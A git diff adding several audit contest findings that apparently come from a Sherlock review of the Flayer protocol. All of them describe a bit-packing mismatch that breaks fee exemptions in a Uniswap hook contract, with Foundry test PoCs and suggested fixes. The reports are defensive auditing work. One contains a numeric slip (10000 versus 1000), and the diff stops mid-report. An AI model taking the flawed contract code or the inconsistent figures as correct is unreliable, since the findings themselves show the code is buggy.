+ uniswapImplementation.setFeeExemption(beneficiary, 5000);
+
+ assertEq(
+ uniswapImplementation.getFee(_poolKey(false).toId(), beneficiary),
+ 5000
+ );
+
+ // Update our exemption
+ uniswapImplementation.setFeeExemption(beneficiary, 7500);
+
+ assertEq(
+ uniswapImplementation.getFee(_poolKey(false).toId(), beneficiary),
+ 7500
+ );
+ }
+```
+```solidity
+[FAIL. Reason: assertion failed: 10000 != 5000]
+```
+
+## Recommendation
+To fix this issue, ensure the flag in the lower 24 bits of `feeOverrides` is consistently set to 1, as the `getFee` function expects. Update the `setFeeExemption` function as follows:
+```solidity
+feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 1;
+```
\ No newline at end of file
diff --git a/005/187.md b/005/187.md
new file mode 100644
index 0000000..f6ef1f8
--- /dev/null
+++ b/005/187.md
@@ -0,0 +1,59 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# Fee exemptions do not work since incorrect value is packed in `feeOverrides` storage
+
+### Summary
+
+The swap fee override expects a value of 1 in the first 24 bits of `feeOverrides` mapping but the admin sets it to maxUint24. Swap fee overrides never work because of this.
+
+### Root Cause
+
+When an admin sets the fee exemption, the value packed in the first 24 bits of the `feeOverrides` is `0xFFFFFF` or maxUint24 instead of 1.
+ref: [UniswapImplementation::setFeeExemption()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L735-L738)
+```solidity
+ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+```
+
+### Internal pre-conditions
+
+1. Admin [sets the fee exemption](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729-L740) to any value.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Admin [sets the fee exemption](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729-L740) to any value.
+2. When a swap fee override is supposed to apply to a beneficiary, it does not and the default fee or pool fee will apply.
+
+ref: [UniswapImplementation::getFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711-L718)
+```solidity
+ // @audit the first 24 bits is maxUint24 instead of 1 so the condition below will always fail even when the swapFeeOverride was set by an admin
+ if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+ // We can then extract the original uint24 fee override and apply this, only if
+ // it is less that then traditionally calculated base swap fee.
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+```
+
+### Impact
+
+Beneficiaries of swap fee exemptions/overrides will not get their swap fee discounts.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider modifying `setFeeExemption()` to pack in the value of 1 instead of maxUint24.
+
+```solidity
+ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 1;
+```
\ No newline at end of file
diff --git a/005/194.md b/005/194.md
new file mode 100644
index 0000000..3055952
--- /dev/null
+++ b/005/194.md
@@ -0,0 +1,121 @@
+Clean Snowy Mustang
+
+Medium
+
+# Fee Exemption cannot be applied or removed
+
+## Summary
+Fee Exemption cannot be applied or removed.
+
+## Vulnerability Detail
+UniswapImplementation owner can call [setFeeExemption()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729) to set user's flat fee rate across all pools. The fee rate is stored in `feeOverrides` with the lower 24 bits are all **1**s in binary.
+
+[UniswapImplementation.sol#L729-L740](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729-L740):
+```solidity
+ function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ // Ensure that our custom fee conforms to Uniswap V4 requirements
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+@> feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
+If a beneficiary is set, then the fee processed during a swap will be overwritten if this fee exemption value is lower than the otherwise determined fee, as we can see in [getFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L698).
+
+[UniswapImplementation.sol#L698-L719](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L698-L719):
+```solidity
+ function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+ // Our default fee is our first port of call
+ fee_ = defaultFee;
+
+ // If we have a specific pool fee then we can overwrite that
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+
+ // If we have a swap fee override, then we want to use that value. We first check
+ // our flag to show that we have a valid override.
+ uint48 swapFeeOverride = feeOverrides[_sender];
+@> if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+ // We can then extract the original uint24 fee override and apply this, only if
+ // it is less that then traditionally calculated base swap fee.
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+ }
+```
+Before applying the fee exemption, it checks out flag to show if the sender has a valid override. As we can see from above, it retrieves `swapFeeOverride` value from `feeOverrides`, and performs bitwise AND (&) with `0xFFFFFF`, to see if the result is `1`.
+
+The check is essentially wrong, assume user is set fee exemption value to $999$, then `swapFeeOverride` is $1111100111111111111111111111111111$ (0x3E7FFFFFF) in binary, and the bitwise AND value is $111111111111111111111111$ (0xFFFFFF) instead of `1`.
+
+Because the check does not pass, the fee exemption won't be applied.
+
+Likewise, when owner calls [removeFeeExemption()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L749), the same check will be used to see if a beneficiary is currently enabled, and the transaction will revert due to the same reason.
+
+[UniswapImplementation.sol#L749-L758](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L749-L758):
+```solidity
+ function removeFeeExemption(address _beneficiary) public onlyOwner {
+ // Check that a beneficiary is currently enabled
+@> uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+@> if (hasExemption != 1) {
+@> revert NoBeneficiaryExemption(_beneficiary);
+@> }
+
+ delete feeOverrides[_beneficiary];
+ emit BeneficiaryFeeRemoved(_beneficiary);
+ }
+```
+
+Please run the PoC in UniswapImplementation.t.sol to verify:
+```solidity
+ function testAudit_SetAndRemoveFeeExemption() public {
+ address alice = makeAddr("Alice");
+
+ // Set Fee Exemption
+ uniswapImplementation.setFeeExemption(alice, uint24(999)); // 0.0999%
+
+ // Check Fee Exemption
+ bytes memory poolKeyBytes = uniswapImplementation.getCollectionPoolKey(address(flippedErc));
+ PoolKey memory poolKey = abi.decode(poolKeyBytes, (PoolKey));
+ PoolId poolId = poolKey.toId();
+
+ // The applied fee is not 999 but 10_000
+ uint24 fee = uniswapImplementation.getFee(poolId, alice);
+ assertEq(fee, 10_000);
+
+ // Fee Exemption cannot be removed
+ vm.expectRevert(abi.encodeWithSelector(
+ UniswapImplementation.NoBeneficiaryExemption.selector, alice
+ ));
+ uniswapImplementation.removeFeeExemption(alice);
+ }
+```
+
+## Impact
+
+Fee Exemption cannot be applied or removed, user won't enjoy a fee discount when they do swaps.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L751
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The correct check should be:
+```solidity
+ if (uint24(swapFeeOverride & 0xFFFFFF) == 0xFFFFFF)
+```
\ No newline at end of file
diff --git a/005/203.md b/005/203.md
new file mode 100644
index 0000000..256bdb2
--- /dev/null
+++ b/005/203.md
@@ -0,0 +1,51 @@
+Rich Indigo Cottonmouth
+
+Medium
+
+# DoS in `removeFeeExemption` function
+
+## Summary
+The [removeFeeExemption](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L749) function is designed to remove a beneficiary's fee exemption if one is set. However, due to an inconsistency in how the fee exemption flag is set and checked, the function can incorrectly revert, preventing the removal of fee exemptions. This issue occurs when the flag is set to `0xFFFFFF` instead of `1` in [setFeeExemption](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L738) function , causing the condition check in the `removeFeeExemption` function to fail.
+## Vulnerability Detail
+In the `removeFeeExemption` function, the system checks if the lower 24 bits of the `feeOverrides[_beneficiary]` value (representing the exemption flag) are equal to `1`. If the flag is not equal to `1`, the function reverts, assuming that no exemption exists.
+
+However, in the `setFeeExemption` function, the flag is sometimes set to `0xFFFFFF` instead of `1`. This causes the check in `removeFeeExemption` to fail even though an exemption exists, because `0xFFFFFF != 1`. As a result, the function incorrectly reverts with `NoBeneficiaryExemption`, preventing the removal of valid exemptions.
+## Impact
+ The system will always revert when attempting to remove a fee exemption if the flag was set to `0xFFFFFF`. This means fee exemptions become permanent for affected users, which could cause significant issues in managing beneficiaries.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L749
+
+## PoC
+```solidity
+ function test_CanRemoveFeeExemption(address _beneficiary) public hasExemption(_beneficiary) {
+ vm.expectEmit();
+ emit UniswapImplementation.BeneficiaryFeeRemoved(_beneficiary);
+ uniswapImplementation.removeFeeExemption(_beneficiary);
+
+ // Confirm that the position does not exist
+ (uint24 storedFee, bool enabled) = _decodeEnabledFee(uniswapImplementation.feeOverrides(_beneficiary));
+ assertEq(storedFee, 0);
+ assertEq(enabled, false);
+ }
+```
+```solidity
+Traces:
+ [36833] UniswapImplementationTest::test_CanRemoveFeeExemption(0x00000000000000000000000000000000fBe7761E)
+ ├─ [26223] 0x57D88D547641a626eC40242196F69754b25D2FCC::setFeeExemption(0x00000000000000000000000000000000fBe7761E, 0)
+ │ ├─ emit BeneficiaryFeeSet(_beneficiary: 0x00000000000000000000000000000000fBe7761E, _flatFee: 0)
+ │ └─ ← [Stop]
+ ├─ [0] VM::expectEmit()
+ │ └─ ← [Return]
+ ├─ emit BeneficiaryFeeRemoved(_beneficiary: 0x00000000000000000000000000000000fBe7761E)
+ ├─ [834] 0x57D88D547641a626eC40242196F69754b25D2FCC::removeFeeExemption(0x00000000000000000000000000000000fBe7761E)
+ │ └─ ← [Revert] NoBeneficiaryExemption(0x00000000000000000000000000000000fBe7761E)
+ └─ ← [Revert] log != expected log
+
+```
+## Recommendation
+
+To fix this issue, ensure that the fee exemption flag is consistently set to `1` in the lower `24` bits of the `feeOverrides` value, rather than `0xFFFFFF`. Update the `setFeeExemption` function as follows:
+
+```solidity
+feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 1;
+```
\ No newline at end of file
diff --git a/005/213.md b/005/213.md
new file mode 100644
index 0000000..46006b1
--- /dev/null
+++ b/005/213.md
@@ -0,0 +1,29 @@
+Warm Daisy Tiger
+
+Medium
+
+# Fee exemption logic work incorrectly
+
+## Summary
+Wrong bit operations cause fee exemption logic work incorrectly
+
+## Vulnerability Detail
+The exemption for a beneficiary is set to mapping [`feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L738), indicating that the upper 24 bits is for fee value, lower 24 bits is boolean flag.
+However, the logic to get determine if the fee override is incorrect `uint24(swapFeeOverride & 0xFFFFFF) == 1` at [this line](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L711C13-L711C52), and at [these lines](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L751-L752)
+
+## Impact
+- Fee exemption can be set, but it is not get properly.
+- Can not remove fee exemption
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L738
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L711C13-L711C52
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L751-L752
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the check to: `uint24(swapFeeOverride & 0xFFFFFF) == 0xFFFFFF`
\ No newline at end of file
diff --git a/005/219.md b/005/219.md
new file mode 100644
index 0000000..40d2f5c
--- /dev/null
+++ b/005/219.md
@@ -0,0 +1,63 @@
+Shiny Mint Lion
+
+High
+
+# There is a logical error in the removeFeeExemption() function.
+
+
+## Summary
+There is a logical error in the removeFeeExemption() function, causing feeOverrides[_beneficiary] to never be removed.
+## Vulnerability Detail
+```javascript
+ function removeFeeExemption(address _beneficiary) public onlyOwner {
+ // Check that a beneficiary is currently enabled
+@>> uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+@>> if (hasExemption != 1) {
+ revert NoBeneficiaryExemption(_beneficiary);
+ }
+
+ delete feeOverrides[_beneficiary];
+ emit BeneficiaryFeeRemoved(_beneficiary);
+ }
+```
+Through setFeeExemption(), we know that the lower 24 bits of feeOverrides[_beneficiary] are set to 0xFFFFFF. Therefore, the expression uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF) results in 0xFFFFFF & 0xFFFFFF = 0xFFFFFF. As a result, hasExemption will never be 1, causing removeFeeExemption() to always revert. Consequently, feeOverrides[_beneficiary] will never be removed.
+```javascript
+function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ // Ensure that our custom fee conforms to Uniswap V4 requirements
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+@>> feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
+
+## Impact
+Since feeOverrides[_beneficiary] cannot be removed, the user continues to receive reduced fee benefits, leading to partial fee losses for LPs and the protocol.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L749
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+ function removeFeeExemption(address _beneficiary) public onlyOwner {
+ // Check that a beneficiary is currently enabled
+ uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+- if (hasExemption != 1) {
++ if (hasExemption != 0xFFFFFF) {
+ revert NoBeneficiaryExemption(_beneficiary);
+ }
+
+ delete feeOverrides[_beneficiary];
+ emit BeneficiaryFeeRemoved(_beneficiary);
+ }
+```
\ No newline at end of file
diff --git a/005/220.md b/005/220.md
new file mode 100644
index 0000000..3876c6d
--- /dev/null
+++ b/005/220.md
@@ -0,0 +1,85 @@
+Shiny Mint Lion
+
+High
+
+# There is a logical error in the UniswapImplementation::getFee() function.
+
+
+## Summary
+There is a logical error in the UniswapImplementation::getFee() function, causing the fee in feeOverrides[_sender] to never be retrieved.
+## Vulnerability Detail
+```javascript
+ function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+ // Our default fee is our first port of call
+ fee_ = defaultFee;
+
+ // If we have a specific pool fee then we can overwrite that
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+
+ // If we have a swap fee override, then we want to use that value. We first check
+ // our flag to show that we have a valid override.
+@>> uint48 swapFeeOverride = feeOverrides[_sender];
+@>> if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+ // We can then extract the original uint24 fee override and apply this, only if
+ // it is less that then traditionally calculated base swap fee.
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+ }
+```
+Through setFeeExemption(), we know that the lower 24 bits of feeOverrides[_beneficiary] are set to 0xFFFFFF. Therefore, the expression uint24(feeOverrides[_beneficiary] & 0xFFFFFF) = 0xFFFFFF & 0xFFFFFF = 0xFFFFFF will never be 1. As a result, the code will not enter the if condition, and baseSwapFeeOverride will never be assigned to fee_.
+```javascript
+function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ // Ensure that our custom fee conforms to Uniswap V4 requirements
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+@>> feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
+## Impact
+The configured baseSwapFeeOverride will never be applied, causing the user’s actual fees to be inconsistent with the set value.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L698
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+ function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+ // Our default fee is our first port of call
+ fee_ = defaultFee;
+
+ // If we have a specific pool fee then we can overwrite that
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+
+ // If we have a swap fee override, then we want to use that value. We first check
+ // our flag to show that we have a valid override.
+ uint48 swapFeeOverride = feeOverrides[_sender];
+- if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
++ if (uint24(swapFeeOverride & 0xFFFFFF) == 0xFFFFFF) {
+ // We can then extract the original uint24 fee override and apply this, only if
+ // it is less that then traditionally calculated base swap fee.
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+ }
+```
\ No newline at end of file
diff --git a/005/270.md b/005/270.md
new file mode 100644
index 0000000..ae84976
--- /dev/null
+++ b/005/270.md
@@ -0,0 +1,68 @@
+Striped Boysenberry Fox
+
+Medium
+
+# A beneficiary will be unable to get the fee because of wrong implementation of `setFeeExemption()`
+
+## Summary
+
+A beneficiary will be unable to get the fee because of wrong implementation of `setFeeExemption()`
+
+## Vulnerability Detail
+
+According to the comment below([implementation/UniswapImplementation.sol#L722-L724](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L722-L724)), once a beneficiary is set, the swap fee will be overwritten if the set fee exemption meets certain criteria.
+
+> Set our beneficiary's flat fee rate across all pools. If a beneficiary is set, then the fee processed during a swap will be overwritten if this fee exemption value is lower than the otherwise determined fee.
+
+And in the another following comment([implementation/UniswapImplementation.sol#L735-L737](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L735-L737)), the latter 24 bits of `feeOverrides[_beneficiary]` should be set to 1 in order to apply the fee exemption.
+
+> We need to be able to detect if the zero value is a flat fee being applied to the user, or it just hasn't been set. By packing the `1` in the latter `uint24` we essentially get a boolean flag to show this.
+
+However, the [`setFeeExemption()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729-L740) function sets the lower 24 bits to `0xFFFFFF` instead of `0x01`, disabling the fee overrides from being applied.
+
+```solidity
+ function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ ... ...
+@> feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
+
+## Impact
+
+The fee overrides can not be applied and only the default fee will work during a swap.
+
+## Code Snippet
+
+[implementation/UniswapImplementation.sol#L738](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L738)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Should update the issued line like the below:
+
+```diff
+ function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ ... ...
+- feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
++ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0x01;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
+
+After this update, I was able to successfully pass the `test_CanGetFeeWithExemptFees()` testcase.
+
+```bash
+$ forge test --match-test test_CanGetFeeWithExemptFees -vv
+[⠒] Compiling...
+No files changed, compilation skipped
+
+Ran 1 test for test/UniswapImplementation.t.sol:UniswapImplementationTest
+[PASS] test_CanGetFeeWithExemptFees() (gas: 53421)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.41ms (193.10µs CPU time)
+
+Ran 1 test suite in 7.33ms (4.41ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
diff --git a/005/309.md b/005/309.md
new file mode 100644
index 0000000..52f2e5d
--- /dev/null
+++ b/005/309.md
@@ -0,0 +1,45 @@
+Raspy Raspberry Tapir
+
+Medium
+
+# `UniswapImplementation` sets fee exemption erroneously
+
+### Summary
+
+Function [UniswapImplementation::setFeeExemption](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L738) employs the wrong constant:
+
+```solidity
+// We need to be able to detect if the zero value is a flat fee being applied to
+// the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+// we essentially get a boolean flag to show this.
+feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+```
+
+In the above, it should be `feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0x000001;`
+
+
+### Impact
+
+Fee exemption is being set incorrectly, and subsequently can be neither applied in [getFee](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711) nor removed in [removeFeeExemption](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L751-L754).
+
+### PoC
+
+This is witnessed by sponsor's own failing tests, such as `test_CanSetFeeExemption` or `test_CanRemoveFeeExemption`
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/implementation/UniswapImplementation.sol b/flayer/src/contracts/implementation/UniswapImplementation.sol
+index c898b32..786fc5f 100644
+--- a/flayer/src/contracts/implementation/UniswapImplementation.sol
++++ b/flayer/src/contracts/implementation/UniswapImplementation.sol
+@@ -735,7 +735,7 @@ contract UniswapImplementation is BaseImplementation, BaseHook {
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+- feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
++ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0x000001;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+
+```
\ No newline at end of file
diff --git a/005/326.md b/005/326.md
new file mode 100644
index 0000000..7b2a598
--- /dev/null
+++ b/005/326.md
@@ -0,0 +1,92 @@
+Crazy Chiffon Spider
+
+Medium
+
+# Fee exemption logic in UniswapImplementation will never work due to wrong bit-packing.
+
+## Summary
+
+FeeExempt functionality will never work due to wrong bit packing. So admins won't be able to set fee discounts for specific beneficiaries.
+
+**Disclaimer**: This should be **valid issue** by Sherlock's **rules**, as this functionality will **NEVER** work, for **ANY** exempt value set by an **ADMIN**.
+
+## Vulnerability Detail
+
+In the `UniswapImplementation.setFeeExemption()`, the fee override is packed as follows, with 0xFFFFFF.
+```solidity
+feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+```
+This means the **lower 24 bits** of the uint48 are always set to 0xFFFFFF. This is intended to act as a flag.
+
+But in the [getFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L698-L719) function which factors exempts we perform this check:
+
+```solidity
+ function getFee(....) {
+ fee_ = defaultFee;
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+
+ uint48 swapFeeOverride = feeOverrides[_sender];
+@>> if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+ }
+```
+
+The code is trying to check if the **lower 24 bits** of swapFeeOverride are equal to 1. However, because you packed 0xFFFFFF (16777215) into those bits, the result of swapFeeOverride & 0xFFFFFF will always be 0xFFFFFF, which will **never be equal to 1**.
+
+Currently there are 4 tests failing due to this problem:
+- `test_CanSwapWithZeroFeeExemption`
+- `test_CanSetFeeExemption`
+- `test_CanRemoveFeeExemption`
+- `test_CanGetFeeWithExemptFees`
+
+
+
+The implied fix, described in the "Recommendation" section will fix them.
+
+## Impact
+Two use-cases will never work:
+1. Admin tries to add promotion for a "partner" by setting fixed fee exempt for him using `setFeeExemption()`
+2. Admin tries to remove a set exempt for a "partner" using `removeFeeExemption()`
+
+So the protocol won't be able to provide special fee charges for partners, which is an intended functionality which can help with the protocol's future development.
+
+## Code Snippet
+
+The wrong mask is here:
+```solidity
+ function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+@>> feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Use correct mask when setting feeOverride for a specific beneficiary/partner.
+```diff
+ function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+- feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
++ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 1;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
\ No newline at end of file
diff --git a/005/378.md b/005/378.md
new file mode 100644
index 0000000..d0a21a5
--- /dev/null
+++ b/005/378.md
@@ -0,0 +1,92 @@
+Fancy Emerald Lark
+
+Medium
+
+# `removeFeeExemption` will always revert due to wrong validation
+
+## Summary
+Issue: removeFeeExemption will revert on line 736 always
+root cause: wrong validation of `hasExemption` on line 735
+
+Fee override can never be modified once set, except it can be changed to zero by setting the exemption of 0 again, but completely removing the exception is not possible. And fee exception is read on `getFee` which is used to determine the swap fee in before the swap hook
+
+## Vulnerability Detail
+
+Issue flow:
+1. Owner sets fee of 10000 on `setFeeExemption` call and line 719 will store `1000 << 24 | 0xFFFFFF` = `0x3e8ffffff`
+2. then if owner wants to remove it, calls `removeFeeExemption` and on line 735 it will revert because, on line 734 it will return ` 0x3e8ffffff & 0xFFFFFF` = `0xFFFFFF` and next line 735 will check if its == 1 or not.
+
+It is supposed to check if exemption was already set or not, so check if `hasExemption` != `0xFFFFFF` is the right way.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L738-L752
+
+```solidity
+UniswapImplementation.sol
+
+710: function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+---- SNIP ----
+715:
+719: >> feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+720: emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+721: }
+722:
+
+730: function removeFeeExemption(address _beneficiary) public onlyOwner {
+734: >> uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+735: if (hasExemption != 1) {
+736: revert NoBeneficiaryExemption(_beneficiary);
+737: }
+---- SNIP ----
+741: }
+```
+
+
+Paste the POC into `UniswapImplementation.t.sol` and run `forge t --mt test_RemoveFeeExemptionReverts -vvvv`
+```solidity
+ function test_RemoveFeeExemptionReverts(address _beneficiary) public {
+ uniswapImplementation.setFeeExemption(_beneficiary, 10000);
+ vm.expectRevert();
+ uniswapImplementation.removeFeeExemption(_beneficiary);
+ }
+```
+
+```sh
